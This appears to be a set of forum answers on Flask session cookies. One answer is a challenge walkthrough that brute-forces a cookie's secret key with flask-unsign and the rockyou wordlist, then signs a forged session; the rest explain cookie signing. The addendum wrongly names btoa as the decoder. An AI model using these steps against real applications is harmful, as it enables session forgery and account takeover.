» pip install flask-cookie-decode
As Elias has already mentioned, the cookie can be decoded without the secret key, but it cannot be manipulated without it for obvious security reasons. If cookie tampering was as easy as that, nobody would use Flask sessions. Therefore, your task is to find the secret key, and since the SHA-1 hash function is non-reversible, you should turn your attention to the human factor.
That being said, you'll have to "guess" the secret key of the contest's careless programmer using brute force, and fortunately, Flask-Unsign can assist you with that.
You can install it via pip by using the following command:
pip3 install flask-unsign
but before using it, you will need a wordlist like rockyou, which you can download from the Kali Linux GitLab repository by using a command like the one below:
curl -JO https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz && gunzip rockyou.txt.gz
- -J, --remote-header-name: Uses the server-specified Content-Disposition filename instead of extracting a filename from the URL when saving the file locally.
- -O, --remote-name: Writes the output to a local file named like the remote file obtained, using the server-specified filename.
Now you can perform the brute force attack using the following command:
flask-unsign --unsign --cookie '.eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc' --no-literal-eval -w rockyou.txt
- The
--no-literal-evalargument was used because Flask-Unsign assumes by default that each word in a given wordlist is enclosed in quotes. However, this is not the case with the rockyou wordlist.
and find the secret key after a few thousand attempts:
[*] Session decodes to: {'_flashes': [('success', 'Login successful!')], '_fresh': True, '_id': '154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26', '_user_id': '1', 'csrf_token': 'acd9eea9751167ec85eb3c7d1904164970ddfca9'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 175360 attempts
b'Galaxy'
Finally, having found the secret key, you can use it to sign your own cookie with modified session data according to your needs:
flask-unsign --sign --cookie "modified session data here" --secret 'Galaxy'
What you described is the expected behavior by design - the cookie can be decoded without the secret key, but it cannot be modified without it.
from documentation:
If you have set Flask.secret_key (or configured it from SECRET_KEY) you can use sessions in Flask applications. A session makes it possible to remember information from one request to another. The way Flask does this is by using a signed cookie. The user can look at the session contents, but can’t modify it unless they know the secret key, so make sure to set that to something complex and unguessable.
» pip install flask-session-decoder
The default session is implemented using secure cookies. Cookies are persisted by the client's browser, Flask doesn't do anything in that regard. Each client has a unique session cookie, which it sends to the Flask server with each request.
The cookie is secure not encrypted, it does not prevent anyone with the cookie from viewing the data, only from modifying it. Flask signs the data with the app's secret key when sending it, and unsigns it with the same key when reading it.
Flask does not add anything to the session. There is no session id, the browser just sends the session cookie during each request, and Flask reads it.
You can write your own session interface to change how the session works. See extensions such as Flask-Session
Flask generates the session cookie using its sister project, It's Dangerous. The project page has a great overview of how It's Dangerous works, but at a high level:
- the data in your session (set by
session["username"] = "EndenDragon") is serialized into a JSON string ({"username":"EndenDragon"}) - that string is encoded using base64 encoding (
eyJ1c2VybmFtZSI6IkVuZGVuRHJhZ29uIn0=). This makes it safe for use cases like an email verification link, where it might be appended at the end of the link. - the base64 encoded data has a "." appended to it. The timestamp when the session was created is base64 encoded and appended to it.
- A cryptographic signature is generated for the session + timestamp, using your secret key. The signature to the session value after a "." as well.
The value is then sent to the browser as a Cookie in the response.
The values in the session can be read by end users (and over insecure connections). The server can verify cookies it receives hasn't been tampered with, without storing anything on its end. It just recomputes the signature from the session + timestamp part of the session value, and makes sure it matches the signature at the end of the session value.
The inclusion of the timestamp enables Flask to enforce the expiration date of permanent sessions on the server side, in addition to setting an expiration date on the client side.
Addendum
Users can easily read the values in the session by decoding the first part of the session value. Go to the "Storage" or "Application" tab in developer tools, look for the "session" cookie, copy the value up to the first period, and run btoa(<session-part>) in the Console.